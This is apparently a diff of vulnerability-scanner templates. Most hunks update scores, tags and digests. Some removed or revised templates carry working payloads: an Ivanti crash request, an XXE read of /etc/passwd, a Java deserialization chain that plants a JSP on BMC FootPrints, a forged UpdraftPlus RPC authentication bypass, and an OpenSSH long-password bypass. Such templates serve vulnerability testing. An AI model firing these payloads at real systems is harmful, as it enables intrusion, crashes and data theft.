+    epss-score: 0.55491
+    epss-percentile: 0.97986
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a00473045022100e9db649c9678ae30a597aab79f1e006903d9ded901aeb6421eef5fd1a60aa35f022032a34261321092260b90f1b7195f63b1e140ac2558bfbd3683ec72dd789f1c01:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c9a879a1a167eb3a1ea51a072419dceb330da8ff1b29e5e3a27c7e1604beb55002201f6fde90532e3c1af85ecd3bf2aae5bea3e15a9e01d41ff355942faee2992a9a:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-1550.yaml

@@ -15,11 +15,11 @@ info:
     - https://github.com/keras-team/keras/pull/20751
     - https://towerofhanoi.it/writeups/cve-2025-1550/
   classification:
-    epss-score: 0.02604
-    epss-percentile: 0.85486
+    epss-score: 0.04785
+    epss-percentile: 0.89146
   metadata:
     max-request: 1
-  tags: cve,cve2025,code,keras,rce,ml,vuln
+  tags: cve,cve2025,code,keras,rce,ml
 
 self-contained: true
 
@@ -77,4 +77,4 @@ code:
         part: response
         regex:
           - "root:.*:0:0:"
-# digest: 4a0a004730450221008c5f09454330782d31af6e072647ee1ae9b96ce8dadfb8206d8059896e22adb4022061b46f9bc80d3b6a669f838d17ca168271ea331ad741a7c520905fb236ec2715:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206e81b2b03f782d9e88ce8c02448592e64d45da006c1b5e27d9b91a1b74510a57022100f31c6ac7bb8df4745d0c8aac5942f8797e1eca36c7051a1cc3163869206486b7:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.0
     cve-id: CVE-2025-22457
     cwe-id: CWE-121,CWE-787
-    epss-score: 0.99981
-    epss-percentile: 0.99981
+    epss-score: 0.49132
+    epss-percentile: 0.97677
     cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
   metadata:
     vendor: ivanti
@@ -37,18 +37,20 @@ variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
 
-flow: http(1) && code(1)
+flow: http () && code()
 
 http:
   - method: GET
     path:
+      - "{{BaseURL}}"
       - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
 
+    stop-at-first-match: true
     matchers:
       - type: dsl
         internal: true
         dsl:
-          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
+          - 'contains(body, "Ivanti Connect Secure")'
           - 'status_code == 200'
         condition: and
 
@@ -61,98 +63,60 @@ code:
       import os
       import time
       import requests
-      import re
 
-      requests.packages.urllib3.disable_warnings()
-
-      PATHS = [
-          "/dana-na/auth/url_default/welcome.cgi",
-          "/dana-na/setup/psaldownload.cgi",
-      ]
-
-      IVANTI_MARKERS = [
-          "Ivanti Connect Secure",
-          "Pulse Secure",
-          "DSLaunchURL",
-          "welcome.cgi",
-          "dana-na",
-      ]
-
-      TIMEOUT_NORMAL = 5
-      TIMEOUT_PAYLOAD = 10
-
-      def safe_request(method, url, headers=None, timeout=5):
-          try:
-              if method == "GET":
-                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
-              elif method == "POST":
-                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
-          except requests.exceptions.RequestException:
-              return None
+      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
+      TIMEOUT = 10
 
       class IvantiExploit:
           def __init__(self, host, port):
               self.host = host.rstrip("/")
               self.port = port
 
-          def build_url(self, path):
+          def check_vuln(self):
               host = self.host
               if not host.startswith("http://") and not host.startswith("https://"):
                   host = f"https://{host}"
-              return f"{host}:{self.port}{path}"
 
-          def is_ivanti(self, response_text):
-              for marker in IVANTI_MARKERS:
-                  if marker in response_text:
-                      return True
-              return False
+              url = f"{host}:{self.port}{TARGET_PATH}"
 
-          def check_vuln(self):
-              for path in PATHS:
-                  url = self.build_url(path)
+              print(f"Testing {url}")
 
-                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
-                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-                  if not r1 or r1.status_code != 200:
-                      continue
+              #1  Pre-check: Check if target is reachable and status is 200.
+              try:
+                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r1 = None
+              if not r1 or r1.status_code != 200:
+                  print("Pre-check failed because target is not reachable or status is not 200.")
+                  return False
 
-                  if not self.is_ivanti(r1.text):
-                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
-                      return False
+              print("Pre-check successful.")
 
-                  print(f"Ivanti fingerprint confirmed on {url}")
+              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
 
-                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
-                  # A vulnerable server will CRASH (no response / timeout)
-                  # A patched or non-vulnerable server will respond normally
-                  payload_headers = {
-                      "User-Agent": "Mozilla/5.0",
-                      "X-Forwarded-For": "1" * 2048,
-                  }
-                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
+              payload_header = {"X-Forwarded-For": "1"*2048}
+              try:
+                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r2 = None
+              if r2:
+                  print("Payload is not working.")
+                  return False
+              else:
+                  print("Payload is working.")
+              time.sleep(1)
 
-                  if r2 is not None:
-                      # Server responded normally = NOT crashed = NOT vulnerable
-                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
-                      continue
+              #3 Follow-up: Check if target is still reachable after payload.
 
-                  # r2 is None = no response = potential crash
-                  print("No response to payload (potential crash detected). Verifying...")
+              try:
+                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r3 = None
+              if r3.status_code == 200:
+                  print(f"VULNERABLE: {self.host}:{self.port}")
+                  return True
 
-                  # Step 3: Follow-up check - server should recover and return 200
-                  # Ivanti's web process auto-restarts after crash
-                  time.sleep(2)
-                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-
-                  if r3 is not None and r3.status_code == 200:
-                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
-                      return True
-                  else:
-                      status = r3.status_code if r3 else "no response"
-                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
-                      continue
-
-              print("Target appears safe.")
+              print("Target seems safe")
               return False
 
       if __name__ == "__main__":
@@ -164,4 +128,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4b0a00483046022100e5cb98c61eec3c597a1456695773320cbf0b1f0df66d11b25e749cadf5ebf85c022100c72c4262c32a36c69f8c3266a92313d2cb6edf58b69fdde9f118ad564cbba0a0:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022069acae54b99c91cfaeab8fb82cae5f57d728e964fd2fe8effa698476329c17a4022003ff3779091aaa6401059fc5c3fcac3ee13ea937f45f641aa9302be032574919:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.20965
-    epss-percentile: 0.97579
+    epss-score: 0.13848
+    epss-percentile: 0.94082
   metadata:
     verified: true
     vendor: gitlab
@@ -80,4 +80,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a00473045022100db743eb967af03828dd25724c7ce37b39030f34791b77a4842db34c17d53e2f802202e2a0a6fbd32eb9c8c9ef5f3ddcac1eca5555d59c4d5f7e92fcfe7f00911e10a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100da7671ed91ea1bc5fb04f262e95116df31243319410921fd226fac65e5965a2002207dae994b259b2e7632380ef6472614f8f2b871f6b87c2a973145ae0b7fa4d82f:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -22,8 +22,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.98924
-    epss-percentile: 0.99927
+    epss-score: 0.43921
+    epss-percentile: 0.97417
   metadata:
     verified: true
     max-request: 1
@@ -174,4 +174,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022100f73c5941c82d36fefc97f9070af94ea8949936ed1e457dcc37802f53b6f7f38b02204d6d48f5bbb62eac0d1c08d00b6614ab37771f36c8776548061a05d1e41f99bb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e527b9ad3b3bc403be44a96258595d391da0b9a2167b9be04d7b4390d6e98d23022100ed8a6ad801506593f10d87408f5bd81f21d6cb75383ddadeabb9ee598a17abd8:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32463.yaml

@@ -1,68 +0,0 @@
-id: CVE-2025-32463
-
-info:
-  name: Sudo - Local Privilege Escalation via chroot
-  author: SeungAh-Hong
-  severity: critical
-  description: |
-    Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
-  impact: |
-    A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
-  remediation: |
-    Upgrade sudo to version 1.9.17p1 or later.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
-    - https://www.sudo.ws/security/advisories/chroot_bug/
-    - https://ubuntu.com/security/CVE-2025-32463
-    - https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
-    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
-  classification:
-    cve-id: CVE-2025-32463
-    epss-score: 0.563
-    epss-percentile: 0.99058
-    cvss-score: 9.3
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cwe-id: CWE-426
-  metadata:
-    verified: true
-  tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
-
-self-contained: true
-
-flow: code(1) && code(2)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      OUT="$(sudo -n -R woot woot 2>&1 || true)"
-      printf "%s\n" "$OUT"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - '(?i).*woot.*no such file or directory.*'
-
-      - type: dsl
-        dsl:
-          - "!contains(tolower(response), 'password')"
-          - "!contains(tolower(response), 'a password is required')"
-          - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 4b0a00483046022100d7bef972cb1c6a7d62fca9c83bec8338a2181e3251cccaf1734370c65176e77e022100d69ef8d5bf50bef2e81849485cc58a6c57e5bdd0cc106664b7d6be8bc792b2a0:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -17,10 +17,10 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-54309
-    epss-score: 0.93473
-    epss-percentile: 0.9984
+    epss-score: 0.63875
+    epss-percentile: 0.98357
     cwe-id: CWE-287,CWE-362
-    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: crushftp
@@ -200,4 +200,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a00473045022100c30546416b77b918aca040239e7720147308420e9c6fe2de9baf9a03b1d25af5022034f9648b3daff9e6d891901c928ab11a2cba1cce91a03e8219d3c6b03ae584b9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100eb3f5959125a305830d65c6bf563bec0c2bc81e14ab8a9181f74a3f679fbb5f9022100ec7ca9512961e8e0171d8326e2fe46cf1f33784f2674ecdecd0961b84110bc60:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,8 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.47775
-    epss-percentile: 0.98858
+    epss-score: 0.33256
+    epss-percentile: 0.96767
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 4b0a00483046022100a4bdcfbee72d09d8e378321698119cfec631dafac3f9e1c5e7842fbd119be3e802210085562159ee1de9434827648af1f8e1976644464e98dbc1b2852ddccc41519feb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008589014638c7b15e0d8d9596a1c15c312d5eadb644547f41f85ba2c11233cc47022008364a7eb0e54abc9bc3897d171a14130f966d292fcf6ccd898798f5649cb16e:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-68926.yaml

@@ -17,15 +17,15 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-68926
-    epss-score: 0.3185
-    epss-percentile: 0.98313
+    epss-score: 0.03135
+    epss-percentile: 0.8648
     cwe-id: CWE-798
   metadata:
     verified: true
     max-request: 1
     vendor: rustfs
     product: rustfs
-  tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
+  tags: cve,cve2025,rustfs,grpc,auth-bypass,code
 
 variables:
   HOST: "{{Host}}"
@@ -87,4 +87,4 @@ code:
         name: version
         regex:
           - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
-# digest: 490a0046304402200c2e862617d5d9b2c01d15aec9ecec076c040213ecc2a110705685ae10435add022015c3d03599b37dbc1b64c0099e2af7ba5ea983391565c0b179fb443d046de968:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8

code/cves/2025/CVE-2025-6984.yaml

@@ -1,67 +0,0 @@
-id: CVE-2025-6984
-
-info:
-  name: langchain-ai langchain - XML External Entity Injection
-  author: nukunga
-  severity: high
-  description: |
-    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
-  impact: |
-    Attackers can disclose sensitive local files, potentially exposing critical system information.
-  remediation: |
-    Update to the latest version that disables external entity references in XML parsing.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
-    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
-    - https://github.com/langchain-ai/langchain-community/commit/e842452
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2025-6984
-    epss-score: 0.01647
-    epss-percentile: 0.7664
-    cwe-id: CWE-200
-  metadata:
-    verified: true
-  tags: cve,cve2025,langchain,xxe,intrusive,file-write
-
-self-contained: true
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import tempfile
-      import os
-      from langchain_community.document_loaders import EverNoteLoader
-
-      if __name__ == "__main__":
-
-          xxe_payload = '''<?xml version="1.0" ?>
-      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
-      <note>
-          <content>&example;</content>
-      </note>'''
-
-          # Write payload to temporary file
-          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
-              f.write(xxe_payload)
-              temp_file = f.name
-
-          try:
-              loader = EverNoteLoader(temp_file)
-              print(loader.load())
-          finally:
-              os.unlink(temp_file)
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root:"
-          - "bin:"
-          - "daemon:"
-        condition: or
-# digest: 4b0a00483046022100c574c2118905e5e13f3985924c86f2a1f8a2c684d20e18f7fbd6dc310da22e8e022100b32acb5459905f7d426614db6c3e7db2134d1f91049a19fb6eb5adb78cf65654:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-71260.yaml

@@ -1,115 +0,0 @@
-id: CVE-2025-71260
-
-info:
-  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
-  author: watchTowr,DhiyaneshDk
-  severity: critical
-  description: |
-    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
-  impact: |
-    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
-  remediation: Upgrade BMC FootPrints to the latest patched version.
-  reference:
-    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
-    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
-  metadata:
-    verified: true
-    max-request: 4
-    shodan-query: html:"/footprints/servicedesk/"
-  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
-
-flow: http(1) && code(1) && http(2) && http(3)
-
-http:
-  - raw:
-      - |
-        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(header, "SEC_TOKEN=")'
-        internal: true
-
-  - raw:
-      - |
-        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-        Content-Length: {{len(payload)}}
-
-        __VIEWSTATE={{payload}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 500'
-        internal: true
-
-  - raw:
-      - |
-        GET /{{filename}}.jsp HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "System Information"
-          - "OS User:"
-          - "Current Working Directory:"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: os_user
-        part: body
-        regex:
-          - 'OS User:</strong>\s*([^<]+)'
-        group: 1
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import random
-      import string
-      import base64
-      from urllib.parse import quote
-
-      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
-
-      target = b"watchTowr"
-      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
-
-      decoded = base64.b64decode(original_b64)
-      modified = decoded.replace(target, random_name.encode())
-      encoded = base64.b64encode(modified).decode()
-      payload = quote(encoded, safe='')
-
-      print(f"{random_name}|{payload}")
-
-    extractors:
-      - type: regex
-        name: filename
-        internal: true
-        regex:
-          - '^([^|]+)'
-        group: 1
-
-      - type: regex
-        name: payload
-        internal: true
-        regex:
-          - '\|(.+)$'
-        group: 1
-# digest: 4a0a0047304502205a98076bd98ac3fc7ec235582bbcce6cf4c21d5c125a581beb8fda6b2460b81e022100a0fcae46a204a4cd489c200e00c0b4f718ea624785f470230c91247ee0460057:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-9242.yaml

@@ -18,13 +18,13 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2025-9242
     cwe-id: CWE-787,CWE-362
-    epss-score: 0.92219
-    epss-percentile: 0.99823
-    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
+    epss-score: 0.73453
+    epss-percentile: 0.98758
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
   metadata:
     verified: true
     shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
 
 variables:
   HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a0047304502201a421092e3a959ead141b13dbbbfebdb346052d8cc3f390a6549d6a47805e40f0221009d2fc0f2262af3f9dc925122f2ba67cc7775748a2535b646c1d5eb9c10d157e9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100db08810d9f2ba81fced39c731e6f870293e0876ef95671568a59efd95ef2223702206b3ead0a6a79563257a97a65722666c0d85c1ad8257a7f40cdd8311bda5d573a:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-10795.yaml

@@ -1,88 +0,0 @@
-id: CVE-2026-10795
-
-info:
-  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
-  author: theamanrawat,s4e-io
-  severity: high
-  description: |
-    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
-  impact: |
-    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
-  remediation: |
-    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
-  reference:
-    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
-    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.1
-    cve-id: CVE-2026-10795
-    epss-score: 0.04308
-    epss-percentile: 0.91222
-    cwe-id: CWE-347
-  metadata:
-    max-request: 2
-    verified: true
-    shodan-query: http.html:"updraftplus"
-    fofa-query: body="/wp-content/plugins/updraftplus"
-  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
-
-code:
-  - engine:
-      - sh
-
-    source: |
-      #!/bin/sh
-      KEY_NAME="0.central.updraftplus.com"
-      TIMESTAMP=$(date +%s)
-      RAND=424243
-      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
-      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
-      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
-      RSA_LEN=$(printf '%03x' ${#RSA_B64})
-      CT_LEN=$(printf '%016x' ${#CT_B64})
-      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
-      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
-      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
-
-http:
-  - raw:
-      - |
-        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "UpdraftPlus")'
-          - 'compare_versions(version, "<= 1.26.4")'
-        condition: and
-        internal: true
-
-    extractors:
-      - type: regex
-        name: version
-        part: body
-        group: 1
-        regex:
-          - "(?i)Stable tag:\\s*([\\d.]+)"
-        internal: true
-
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        {{code_response}}
-
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "\"udrpc_message\":\"")'
-        condition: and
-# digest: 4a0a00473045022100bc5fc6d927c747a7a342343a3b4c5e469910d8f079963f62337fe092dfe0bd160220460afde14d61d73e141243fc68aa928fd6775a8a62391e2582c6614783d2f92b:922c64590222798bb761d5b6d8e72950

code/cves/2026/CVE-2026-123158.yaml

@@ -1,121 +0,0 @@
-id: CVE-2026-123158
-
-info:
-  name: SSHole - OpenSSH/musl Password Auth Bypass
-  author: DhiyaneshDk
-  severity: critical
-  description: |
-    sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.
-  impact: |
-    Attackers can bypass password authentication, gaining unauthorized access to accounts.
-  remediation: |
-    Update to OpenSSH version 10.6p2 or later.
-  reference:
-    - https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
-    - https://www.openssh.com/releasenotes.html#10.6p2
-    - https://nvd.nist.gov/vuln/detail/cve-2026-123158
-  classification:
-    cwe-id: CWE-305
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query: product:"OpenSSH"
-  tags: code,ssh,vuln,alpine,musl,auth-bypass,sshhole,network,kev,vkev
-
-code:
-  - engine:
-      - python3
-      - python
-
-    source: |
-      import sys, os, socket
-      try:
-          import paramiko
-      except ImportError:
-          print("SKIP paramiko not installed")
-          sys.exit(0)
-      import logging
-      logging.getLogger("paramiko").setLevel(logging.CRITICAL)
-
-      raw = sys.stdin.read().strip()
-      if ":" in raw:
-          host, port = raw.rsplit(":", 1)
-          port = int(port)
-      else:
-          host, port = raw, 22
-
-      try:
-          s = socket.create_connection((host, port), timeout=5)
-          banner = s.recv(256).decode(errors="replace").strip()
-          s.close()
-      except Exception as e:
-          print(f"CONNECTION_FAILED {host}:{port} {e}")
-          sys.exit(0)
-      if "OpenSSH" not in banner:
-          print(f"NOT_OPENSSH banner={banner}")
-          sys.exit(0)
-      print(f"BANNER {banner}")
-
-      PW = "A" * 300
-      USERS = ["root", "victim", "nobody", "ftp", "ntp", "sshd", "guest"]
-
-      for user in USERS:
-          try:
-              t = paramiko.Transport((host, port))
-              t.connect()
-              # Attempt 1 -- expected FAIL (shadow buffer aliasing)
-              a1 = False
-              try:
-                  t.auth_password(user, PW)
-                  a1 = True
-              except paramiko.AuthenticationException:
-                  pass
-              except Exception:
-                  t.close()
-                  continue
-              if a1:
-                  try:
-                      ch = t.open_session()
-                      ch.exec_command("id")
-                      out = ch.makefile().read().decode().strip()
-                      ch.close()
-                  except:
-                      out = "session-open"
-                  t.close()
